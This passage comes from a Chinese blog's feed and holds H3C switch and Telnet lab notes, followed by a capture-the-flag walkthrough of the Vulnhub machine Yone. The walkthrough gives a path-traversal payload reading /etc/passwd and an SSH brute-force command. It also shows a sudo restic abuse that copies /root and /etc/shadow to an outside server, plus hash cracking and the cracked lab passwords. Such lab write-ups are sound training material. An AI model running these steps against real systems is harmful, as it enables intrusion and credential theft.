<section><h3>配置步骤<a href="#配置步骤"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>交换机1的配置：</span></div></div><div><div><div>2</div></div><div><span>vlan 10</span></div></div><div><div><div>3</div></div><div><span>port g1/0/1</span></div></div><div><div><div>4</div></div><div><span>vlan 20</span></div></div><div><div><div>5</div></div><div><span>port g1/0/2</span></div></div><div><div><div>6</div></div><div><span>int g1/0/3</span></div></div><div><div><div>7</div></div><div><span>port link-type trunk</span></div></div><div><div><div>8</div></div><div><span>port trunk permit vlan 10 20</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>交换机2的配置：</span></div></div><div><div><div>11</div></div><div><span>vlan 10</span></div></div><div><div><div>12</div></div><div><span>port g1/0/2</span></div></div><div><div><div>13</div></div><div><span>vlan 20</span></div></div><div><div><div>14</div></div><div><span>quit</span></div></div><div><div><div>15</div></div><div><span>int g1/0/1</span></div></div><div><div><div>16</div></div><div><span>port link-type trunk</span></div></div><div><div><div>17</div></div><div><span>port trunk permit vlan 10 20</span></div></div><div><div><div>18</div></div><div><span>int g1/0/3</span></div></div><div><div><div>19</div></div><div><span>port link-type trunk</span></div></div><div><div><div>20</div></div><div><span>port trunk permit vlan 10 20</span></div></div><div><div><div>21</div></div><div>
</div></div><div><div><div>22</div></div><div><span>交换机3的配置：</span></div></div><div><div><div>23</div></div><div><span>vlan 20</span></div></div><div><div><div>24</div></div><div><span>port g1/0/2</span></div></div><div><div><div>25</div></div><div><span>vlan 10</span></div></div><div><div><div>26</div></div><div><span>quit</span></div></div><div><div><div>27</div></div><div><span>int g1/0/1</span></div></div><div><div><div>28</div></div><div><span>port link-type trunk</span></div></div><div><div><div>29</div></div><div><span>port trunk permit vlan 10 20</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section>
<section><h3>验证测试<a href="#验证测试"><span>#</span></a></h3><p>在 PC1 上 Ping PC3，发现可以 Ping 通，在 PC1 上 Ping PC4，发现不能 Ping 通。
<img alt="" loading="lazy" width="1397" height="760" src="/_astro/Pasted%20image%2020260825105348.FiGvYvbo_1hPe4M.webp" />
在 PC2 上 Ping PC4，发现可以 Ping 通，在 PC2 上 Ping PC3，发现不能 Ping 通。
<img alt="" loading="lazy" width="1397" height="760" src="/_astro/Pasted%20image%2020260825105426.DJbp2s4A_agBiV.webp" /></p></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/h3cne-rs/2026824-telnet%E9%85%8D%E7%BD%AE%E5%AE%9E%E9%AA%8C/</id>
      <title type="text">Telnet配置实验</title>
      <published>2026-08-24T01:00:00.000Z</published>
      <updated>2026-08-24T01:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/h3cne-rs/2026824-telnet%E9%85%8D%E7%BD%AE%E5%AE%9E%E9%AA%8C/"/>
      <summary type="text">通过H3C路由器配置Telnet远程登录功能，实现AAA本地认证与权限管理。</summary>
      <content type="html"><![CDATA[<section><h3>实验拓扑<a href="#实验拓扑"><span>#</span></a></h3><p><img alt="" loading="lazy" width="1284" height="260" src="/_astro/Pasted%20image%2020260824170308.GUdAdkCV_ZWqJGK.webp" /></p><blockquote><p>实验前需要先配置路由器的G0/0接口的IP地址，请确保真实PC与路由器网络互通（可通过ping测试）。</p></blockquote></section>
<section><h3>实验需求<a href="#实验需求"><span>#</span></a></h3><ol>
<li>按照图示连接到真机，并配置IP地址（真机IP地址配置到VirtualBox Host-Only Ethernet Adapter网卡）</li>
<li>在R1上开启Telnet服务，创建用户<code>wangdaye</code>，密码<code>123456</code>用于身份验证</li>
<li>在真机上使用S-CRT通过Telnet登录R1</li>
</ol></section>
<section><h3>配置步骤<a href="#配置步骤"><span>#</span></a></h3><section><h4>步骤1：开启Telnet服务并创建用户<a href="#步骤1开启telnet服务并创建用户"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 开启Telnet服务</span></div></div><div><div><div>2</div></div><div><span>telnet server enable</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 创建管理用户wangdaye，密码ynm@123456，允许Telnet登录，赋予最高权限15</span></div></div><div><div><div>5</div></div><div><span>local-user wangdaye class manage</span></div></div><div><div><div>6</div></div><div><span>password simple ynm@123456</span></div></div><div><div><div>7</div></div><div><span>service-type telnet</span></div></div><div><div><div>8</div></div><div><span>authorization-attribute user-role level-15</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>⚠️ 注意：<code>password simple</code> 会以明文存储密码，实际生产环境建议使用 <code>password hash</code> 增强安全性。</p></blockquote></section><section><h4>步骤2：配置VTY线路认证模式<a href="#步骤2配置vty线路认证模式"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 进入VTY 0~4线路，设置认证模式为scheme（本地AAA），并指定默认权限级别</span></div></div><div><div><div>2</div></div><div><span>user-interface vty 0 4</span></div></div><div><div><div>3</div></div><div><span>authentication-mode scheme</span></div></div><div><div><div>4</div></div><div><span>user-role level-15</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h3>验证测试<a href="#验证测试"><span>#</span></a></h3><p>打开 Xshell，点击“新建”会话。协议选择 TELNET，主机填写路由器接口 IP（192.168.56.2），端口号保持默认 23。 点击“连接”，Xshell 会提示输入用户名，输入 wangdaye，然后输入密码 ynm@123456（注意密码输入时不显示字符）。登录成功后，将看到路由器命令行提示符（如 &lt;H3C&gt;）。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260824170237.BqniV3Ax_Z24Ebr9.webp" /></p></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/vulnhub/2026819-yone/</id>
      <title type="text">Yone</title>
      <published>2026-08-19T00:00:00.000Z</published>
      <updated>2026-08-19T00:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/vulnhub/2026819-yone/"/>
      <summary type="text">对 Vulnhub 靶机 Yone 的完整渗透测试记录，涵盖从信息收集到获取 root 权限的完整过程。</summary>
      <content type="html"><![CDATA[

<table><thead><tr><th><strong>项目</strong></th><th><strong>详情</strong></th></tr></thead><tbody><tr><td><strong>靶机名称</strong></td><td>Yone: 1</td></tr><tr><td><strong>难度等级</strong></td><td>Medium（中等）</td></tr><tr><td><strong>目标</strong></td><td>获取 root 权限并找到 <code>/root</code> 目录下的 flag</td></tr><tr><td><strong>下载链接</strong></td><td><a href="https://www.vulnhub.com/entry/yone-1,543/#download" target="_blank">https://www.vulnhub.com/entry/yone-1,543/#download</a></td></tr><tr><td><strong>攻击机 (Kali)</strong></td><td><code>192.168.197.10</code>（建议使用 NAT 模式）</td></tr><tr><td><strong>靶机 (Yone)</strong></td><td><code>192.168.197.172</code>（DHCP 自动分配）</td></tr></tbody></table>
<section><h2>一、 信息收集 (Reconnaissance)<a href="#一-信息收集-reconnaissance"><span>#</span></a></h2><p>信息收集是渗透测试的基石，决定了后续攻击面的广度。</p><section><h3>1.1 主机发现<a href="#11-主机发现"><span>#</span></a></h3><p>使用 <code>nmap</code> 在本地网络中定位靶机 IP。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>nmap -sn 192.168.197.0/24</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="914" src="/_astro/Pasted%20image%2020260817233959.BIRJdliv_2DnK4.webp" />
结果输出：发现目标 IP 为：<code>192.168.197.172</code></p></section><section><h3>1.2 端口与服务扫描<a href="#12-端口与服务扫描"><span>#</span></a></h3><p>使用 Nmap 对靶机进行全面的端口和服务扫描。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>nmap -p- --min-rate 1000 192.168.197.172        # 快速全端口扫描</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="913" src="/_astro/Pasted%20image%2020260817234249.3AEHprLS_n296j.webp" /></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>nmap -p 22,80 -sV -sC -O 192.168.197.172   # 深入服务探测</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1080" src="/_astro/Pasted%20image%2020260817234502.CXt4mLe__Z26btmX.webp" />
<strong>扫描结果分析</strong>：</p>

<table><thead><tr><th>端口</th><th>服务</th><th>状态</th><th>初步判断</th></tr></thead><tbody><tr><td>22</td><td>SSH</td><td>开放</td><td>可能存在爆破或密钥泄露风险</td></tr><tr><td>80</td><td>HTTP</td><td>开放</td><td>主要 Web 攻击面</td></tr></tbody></table></section></section>
<section><h2>二、 Web 渗透 (Web Penetration)<a href="#二-web-渗透-web-penetration"><span>#</span></a></h2><p>Web 服务通常是突破口，需要细致地挖掘每一个细节。</p><section><h3>2.1 绑定 Hosts 文件<a href="#21-绑定-hosts-文件"><span>#</span></a></h3><p>直接访问 IP 的 80 端口，发现图片无法显示。
<img alt="" loading="lazy" width="1541" height="913" src="/_astro/Pasted%20image%2020260818104522.DXHuiH1Y_Z2gIsD1.webp" />
查看图片地址，发现其指向了一个域名 <code>yone.lc</code>。
<img alt="" loading="lazy" width="1542" height="916" src="/_astro/Pasted%20image%2020260818104607.cgVVNoZX_ZXRaOL.webp" />
这意味着我们需要在攻击机的 <code>/etc/hosts</code> 文件中手动添加域名解析。</p><blockquote><p>注意：由于 <code>yone.lc</code> 是一个并不存在于互联网公共 DNS（域名系统）中的“假域名”（这本应该是服务器（靶机）自己在公共 DNS 建立的域名，但是这里的服务器是靶机，因此公共 DNS 没有该域名，需要在kali里面手动添加），所以kali根本不认识它，无法解析出 IP，图片自然就加载失败了。</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo echo "192.168.197.172    yone.lc" &gt;&gt; /etc/hosts</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1541" height="915" src="/_astro/Pasted%20image%2020260818105640.DqlPfBeY_Z21T3NF.webp" /></p></section><section><h3>2.2 网站功能探索<a href="#22-网站功能探索"><span>#</span></a></h3><p>使用域名 <code>http://yone.lc</code> 访问网站，发现这是一个可以<strong>注册新用户</strong>的 Web 应用。
<img alt="" loading="lazy" width="1541" height="913" src="/_astro/Pasted%20image%2020260818110110.BW_w36MF_1YFi2v.webp" />
<strong>操作步骤</strong>：</p><ol>
<li>注册一个新账号并登录（ynm/123456）。
<img alt="" loading="lazy" width="1541" height="919" src="/_astro/Pasted%20image%2020260818110220.BB243W6N_Z1Q0SLm.webp" /></li>
<li>登录后，首页是一个<strong>文件上传</strong>页面，并且已经存在两个上传过的图片。
<img alt="" loading="lazy" width="1541" height="914" src="/_astro/Pasted%20image%2020260818110336.wtmjaW5-_Z2bcJEs.webp" /></li>
</ol></section><section><h3>2.3 发现路径遍历漏洞 (Path Traversal)<a href="#23-发现路径遍历漏洞-path-traversal"><span>#</span></a></h3><p>点击第一张图片，发现 URL 中存在一个参数 <code>link</code>：
<code>http://yone.lc/download?link=right.jpg</code>
<img alt="" loading="lazy" width="1542" height="917" src="/_astro/Pasted%20image%2020260818110619.BI3WasuA_1nnx92.webp" />
这是一个典型的文件下载功能，可以尝试进行<strong>路径遍历攻击</strong>，读取系统敏感文件。</p><blockquote><p>注意：如果这里点击第二张图片，会直接下载，因此没有收获。</p></blockquote><p><strong>验证 Payload</strong>：
<code>http://yone.lc/download?link=../../../../../../../../etc/passwd</code>
<img alt="" loading="lazy" width="1542" height="913" src="/_astro/Pasted%20image%2020260818110954.DlC6tiHO_Z1Uz8K3.webp" />
<strong>结果</strong>：
成功读取到 <code>/etc/passwd</code> 文件，确认存在路径遍历漏洞。</p><p>在 <code>/etc/passwd</code> 文件中，我们注意到一个本地用户 <code>yone</code>。
<img alt="" loading="lazy" width="1542" height="914" src="/_astro/Pasted%20image%2020260818111623.5hpzTr3U_Z16WmE.webp" /></p></section></section>
<section><h2>三、 获取初始 Shell (Initial Access)<a href="#三-获取初始-shell-initial-access"><span>#</span></a></h2><p>既然已知系统存在用户 <code>yone</code> 且 SSH 服务开启，最直接的方式就是进行密码爆破。</p><blockquote><p><strong>这里有几个问题，解答如下：</strong></p><p><strong>1.为什么这里不直接对root用户进行爆破呢，除了题目名字为yone以外还有其他原因吗？</strong></p><p>答：理论是可行的，但是有几个问题。第一，绝大多数 Linux 发行版（包括 Ubuntu）的 SSH 服务默认配置中，禁止 root 用户通过 SSH 进行密码登录。第二， root 是系统最高权限账户，管理员在设置时通常会使用更长、更复杂的密码，如本次 Yone 靶机中的root密码实际是123456789!@#$%^&amp;*(。第三，爆破 root 会产生大量 SSH 登录失败日志（/var/log/auth.log），更容易触发告警机制（如 fail2ban），导致攻击 IP 被封锁。爆破普通用户相对隐蔽，且即使失败，也不如 root 爆破那样引起管理员的立即警觉。</p><p><strong>2.能不能不获得/etc/passwd文件，直接使用字典对SSH进行爆破？</strong></p><p>答：理论可行，但实际不行。用户名未知等价于爆破成本指数级增加。如果既不知道用户名，也不知道密码，爆破的组合是：用户名 × 密码 = 待尝试次数。假设字典有 10000 个用户名、10000 个密码，就需要尝试 1 亿次。而通过信息收集（如读取 /etc/passwd）获取到有效用户名 yone 后，爆破组合骤降为：1 个用户名 × 10000 个密码 = 10000 次，效率提升了 10000 倍，这在实战中意味着几小时 vs 几天的差距。</p><p><strong>3.能不能直接通过路径遍历漏洞读取 /etc/shadow 文件？</strong></p><p>答：虽然我成功读取了 /etc/passwd，是因为该文件权限通常是 644 (-rw-r—r—)，允许所有用户读取。但这只是特例，不代表能读取所有系统文件。/etc/shadow 的文件默认权限通常是 -rw-r-----，其数字权限为 640，文件所有者是 root 用户，所属组是 shadow 组。因此所有者 (root)：拥有读写权限 (rw-)；所属组 (shadow)：拥有只读权限 (r—)；其他用户：没有任何权限 (---)。这意味着，只有 root 用户和 shadow 组的成员才能读取 /etc/shadow。
<img alt="" loading="lazy" width="1542" height="916" src="/_astro/Pasted%20image%2020260818115515.DH3oXSJF_Z22SdQ.webp" /></p></blockquote><section><h3>3.1 SSH 密码爆破<a href="#31-ssh-密码爆破"><span>#</span></a></h3><p>使用 <code>medusa</code> 对 <code>yone</code> 用户进行 SSH 密码爆破。</p><blockquote><p><strong>为什么用 Medusa？</strong> 可使用 <code>hydra</code>、<code>medusa</code> 或 Metasploit 等工具。由于根据网上一些资料显示 <code>hydra</code> 在此场景下运行较卡顿，因此改用 <code>medusa</code> 进行爆破。</p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>medusa -u yone -P /root/字典/rockyou_2025_00.txt -h 192.168.197.172 -M ssh -F -t 10 | grep -E "ACCOUNT FOUND|SUCCESS"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>参数说明</strong>：</p><ul>
<li><code>-u yone</code>：指定单一用户名。</li>
<li><code>-P</code>：指定密码字典文件。</li>
<li><code>-h</code>：指定目标主机 IP。</li>
<li><code>-M ssh</code>：指定爆破的服务为 SSH。</li>
<li><code>-F</code>：一旦找到正确的密码就停止爆破。</li>
<li><code>-t 10</code>：指定线程数为 10。
<img alt="" loading="lazy" width="1524" height="111" src="/_astro/Pasted%20image%2020260818170725.DELDbDq3_XMOm6.webp" />
<img alt="" loading="lazy" width="1920" height="1080" src="/_astro/Pasted%20image%2020260818170445.DJr0PksC_2eiye.webp" /></li>
</ul><p><strong>爆破结果</strong>：用户名<code>yone</code>，密码<code>12345qwert</code>。</p></section><section><h3>3.2 连接 SSH<a href="#32-连接-ssh"><span>#</span></a></h3><p>使用获取到的凭据成功登录 SSH。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>ssh yone@192.168.197.172</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>查看当前的权限：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>yone@ubuntu:~$ id</span></div></div><div><div><div>2</div></div><div><span>uid=1000(yone) gid=1000(yone) groups=1000(yone)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1080" src="/_astro/Pasted%20image%2020260818170245.P2Ockj34_1O9fB5.webp" /></p></section></section>
<section><h2>四、 权限提升 (Privilege Escalation)<a href="#四-权限提升-privilege-escalation"><span>#</span></a></h2><p>现在的目标是从普通用户 <code>yone</code> 提权至 <code>root</code>。</p><section><h3>4.1 检查 Sudo 权限<a href="#41-检查-sudo-权限"><span>#</span></a></h3><p>输入 <code>sudo -l</code> 查看当前用户能以 root 权限执行哪些命令，且无需root密码（只需要当前用户的密码）。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo -l</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1541" height="911" src="/_astro/Pasted%20image%2020260818171408.B71r-GHa_2j6nk.webp" />
<strong>关键发现</strong>：
用户可以无密码地以 root 权限执行 <code>/usr/bin/restic backup -r rest*</code>。</p></section><section><h3>4.2 利用 Restic 提权<a href="#42-利用-restic-提权"><span>#</span></a></h3><p>经过百度上的搜索，<code>restic</code> 是一个备份程序。如果我们可以控制 <code>restic</code> 的备份目标，就能利用它以 root 权限读取任意文件。</p><p><strong>攻击思路</strong>：在攻击者控制的服务器上搭建一个 <code>restic</code> 服务端，然后让靶机上的 <code>restic</code> 以 root 权限将敏感文件（如 <code>/root/flag.txt</code> 或 <code>/etc/shadow</code>）备份到我们的服务器上。</p><section><h4>步骤 1：在攻击机（或公网服务器）上搭建 Restic Server<a href="#步骤-1在攻击机或公网服务器上搭建-restic-server"><span>#</span></a></h4><p>由于靶机可能无法主动连接内网，建议使用具有公网 IP 的云服务器。</p><blockquote><p>⚠️ <strong>网络注意</strong>：由于靶机和攻击机在同一内网，靶机可以主动连接公网，但<strong>不能主动连接内网</strong>，因此反弹 Shell 会失败。所以需要在<strong>公网云服务器</strong>上搭建 <code>restic</code> 服务端进行监听，而非在本地 Kali 上。</p></blockquote><p>我使用阿里云服务器，购买成功之后，安装 Golang 和 Restic，然后启动 Restic 服务。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 安装 Golang 和 Restic</span></div></div><div><div><div>2</div></div><div><span>apt install -y golang restic</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 克隆并编译 rest-server</span></div></div><div><div><div>5</div></div><div><span>git clone https://github.com/restic/rest-server.git</span></div></div><div><div><div>6</div></div><div><span>cd rest-server</span></div></div><div><div><div>7</div></div><div><span>export GOPROXY="https://goproxy.cn"</span></div></div><div><div><div>8</div></div><div><span>CGO_ENABLED=0 go build -o rest-server ./cmd/rest-server</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span># 启动服务（注意：--no-auth 表示无认证，仅用于实验环境）</span></div></div><div><div><div>11</div></div><div><span>./rest-server --no-auth</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>默认监听端口为 8000。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260819125152.BM8uN-xY_Zy8EtY.webp" /></p></section><section><h4>步骤 2：在靶机上初始化备份仓库<a href="#步骤-2在靶机上初始化备份仓库"><span>#</span></a></h4><p>在靶机 (<code>yone</code>) 上，使用 <code>restic</code> 客户端初始化一个指向我的服务器的仓库，并设置密码。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>restic -r rest:http://47.122.104.169:8000/rest1 init</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>此处密码设置为 <code>123456</code>。
<img alt="" loading="lazy" width="1541" height="914" src="/_astro/Pasted%20image%2020260819130021.dRobontp_ZTd3CN.webp" /></p></section><section><h4>步骤 3：以 Root 权限备份敏感文件<a href="#步骤-3以-root-权限备份敏感文件"><span>#</span></a></h4><p>现在，使用 <code>sudo</code> 以 root 权限执行 <code>restic backup</code> 命令，将 <code>/root</code> 目录备份到我的服务器。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo /usr/bin/restic backup -r rest:http://47.122.104.169:8000/rest1 /root</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="916" src="/_astro/Pasted%20image%2020260819130647.BccHW7d7_Z2uNMYg.webp" /></p></section></section><section><h3>4.3 获取 Flag<a href="#43-获取-flag"><span>#</span></a></h3><p>在攻击机的 Restic 服务器上，可以通过 <code>restic</code> 命令查看并恢复备份文件，从而获取 flag。</p><section><h4>步骤 1：列出所有备份快照<a href="#步骤-1列出所有备份快照"><span>#</span></a></h4><p>首先查看已备份的快照列表，获取快照 ID：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>restic -r rest:http://47.122.104.169:8000/rest1 snapshots</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260819131926.DpK5tCwx_Z1EK1GX.webp" /></p></section><section><h4>步骤 2：创建挂载点目录并挂载 Restic 仓库<a href="#步骤-2创建挂载点目录并挂载-restic-仓库"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>mkdir -p /mnt/restic</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>restic -r rest:http://47.122.104.169:8000/rest1 mount /mnt/restic</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>输入仓库密码（本例为 <code>123456</code>）后，会看到如下提示：
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260819132516.B7a9SX6d_bLain.webp" /></p><blockquote><p>⚠️ <strong>注意</strong>：挂载命令会保持前台运行，需要<strong>另开一个 SSH 终端</strong>来浏览备份内容。</p></blockquote></section><section><h4>步骤 3：使用 <code>tree</code> 查看目录结构<a href="#步骤-3使用-tree-查看目录结构"><span>#</span></a></h4><p>在<strong>第二个 SSH 终端</strong>中，使用 <code>tree</code> 命令查看挂载点的完整目录结构：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>tree /mnt/restic</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260819132547.C5-YmnGH_24rSLx.webp" />
从 <code>tree</code> 的输出可以看到，<code>root.txt</code> 位于 <code>/mnt/restic/snapshots/latest/root/</code> 目录下。</p></section><section><h4>步骤 4：读取 Flag<a href="#步骤-4读取-flag"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>cat /mnt/restic/snapshots/latest/root/root.txt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260819132610.mg0HXLD6_gjWTM.webp" /></p></section><section><h4>步骤 5：停止挂载（可选）<a href="#步骤-5停止挂载可选"><span>#</span></a></h4><p>在运行 <code>restic mount</code> 的终端中按 <code>Ctrl+C</code> 即可停止挂载服务。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>^C</span></div></div><div><div><div>2</div></div><div><span>unmounting /mnt/restic...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>到这里我们已经成功拿到root.txt，本靶场到这里就完结了，但是为了能真正拿到root权限，我们还是拿到root密码吧。</p></section></section></section>
<section><h2>五、 Root 密码获取<a href="#五-root-密码获取"><span>#</span></a></h2><section><h3>5.1 备份 Shadow 文件<a href="#51-备份-shadow-文件"><span>#</span></a></h3><p>重复上述备份步骤，可以新建一个 <code>rest2</code> 存档，也可以复用之前的仓库，这里直接复用已有的 <code>rest1</code> 仓库，备份 <code>/etc/shadow</code> 文件：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo /usr/bin/restic backup -r rest:http://47.122.104.169:8000/rest1 /etc/shadow</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="916" src="/_astro/Pasted%20image%2020260819133002.DwTfZ2IA_Z1KoahB.webp" />
备份完成后，此时 <code>rest1</code> 仓库中包含两个快照：<code>/root</code> 和 <code>/etc/shadow</code>。在云服务器上查看所有快照，记下备份 <code>shadow</code> 的快照 ID（fb1de187）：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>restic -r rest:http://47.122.104.169:8000/rest1 snapshots</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260819133214.Pdi9mWSS_1YXkSb.webp" />
然后使用 <code>restore</code> 提取 <code>shadow</code> 文件：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>mkdir -p /tmp/shadow_extract</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>restic -r rest:http://47.122.104.169:8000/rest1 restore fb1de187 --target /tmp/shadow_extract</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后直接使用XTFP即可查看/tmp/shadow_extract/etc下的shadow文件，双击即可下载到本地。当然这里也可以使用命令下载，或者直接在服务器上面使用cat命令查看。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260819133716.DmMRuHGT_Z1N5gM5.webp" />
<img alt="" loading="lazy" width="1920" height="1021" src="/_astro/Pasted%20image%2020260819133812.CGzKO5GJ_ZYEmLy.webp" /></p></section><section><h3>5.2 合并 Passwd 与 Shadow<a href="#52-合并-passwd-与-shadow"><span>#</span></a></h3><p>将之前通过路径遍历获取的 <code>/etc/passwd</code> 和现在获取的 <code>/etc/shadow</code> 结合，使用 <code>unshadow</code> 命令将其转换为可用于破解的哈希格式：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>unshadow passwd.txt shadow.txt &gt; hash.txt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="914" src="/_astro/Pasted%20image%2020260819134557.CJbqVZR7_Z2x06hP.webp" />
编辑生成的文件，<strong>只保留 <code>root</code> 和 <code>yone</code> 用户</strong>的相关行。
<img alt="" loading="lazy" width="1542" height="916" src="/_astro/Pasted%20image%2020260819134714.CpdzrGKN_ZhTo0i.webp" /></p></section><section><h3>5.3 破解密码哈希<a href="#53-破解密码哈希"><span>#</span></a></h3><p>使用 Kali 自带的字典（如 <code>rockyou.txt</code>）进行破解：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 解压 rockyou.txt</span></div></div><div><div><div>2</div></div><div><span>sudo gunzip /usr/share/wordlists/rockyou.txt.gz</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>经过约半个小时的破解，成功获取 root 密码：
<img alt="" loading="lazy" width="1542" height="916" src="/_astro/Pasted%20image%2020260819142839.DN5f72vn_Z2UV74.webp" /></p><blockquote><p><strong>root 密码</strong>：<code>123456789!@#$%^&amp;*(</code></p></blockquote></section><section><h3>5.4 切换 Root 权限<a href="#54-切换-root-权限"><span>#</span></a></h3><p>使用破解出的密码切换至 root 用户：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>su root</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="913" src="/_astro/Pasted%20image%2020260819143448.D46o44tq_OQfsk.webp" />
成功获取 root 权限，靶机渗透完成。</p></section></section>
<section><h2>六、 总结与复盘<a href="#六-总结与复盘"><span>#</span></a></h2><section><h3>6.1 攻击路径总结<a href="#61-攻击路径总结"><span>#</span></a></h3><ol>
<li><strong>信息收集</strong>：通过端口扫描发现 22 和 80 端口。</li>
<li><strong>Web 侦察</strong>：发现域名 <code>yone.lc</code> 并绑定 hosts，注册账号探索功能。</li>
<li><strong>漏洞发现</strong>：在文件下载功能点发现路径遍历漏洞，读取 <code>/etc/passwd</code>。</li>
<li><strong>获取 Shell</strong>：利用读取到的用户名 <code>yone</code>，通过 Medusa 爆破 SSH 密码获取初始访问权。</li>
<li><strong>权限提升</strong>：通过 <code>sudo -l</code> 发现 <code>restic</code> 命令的滥用机会，搭建服务端，利用备份功能窃取 root 敏感文件。</li>
</ol></section></section>]]></content>
    </entry>
</feed>
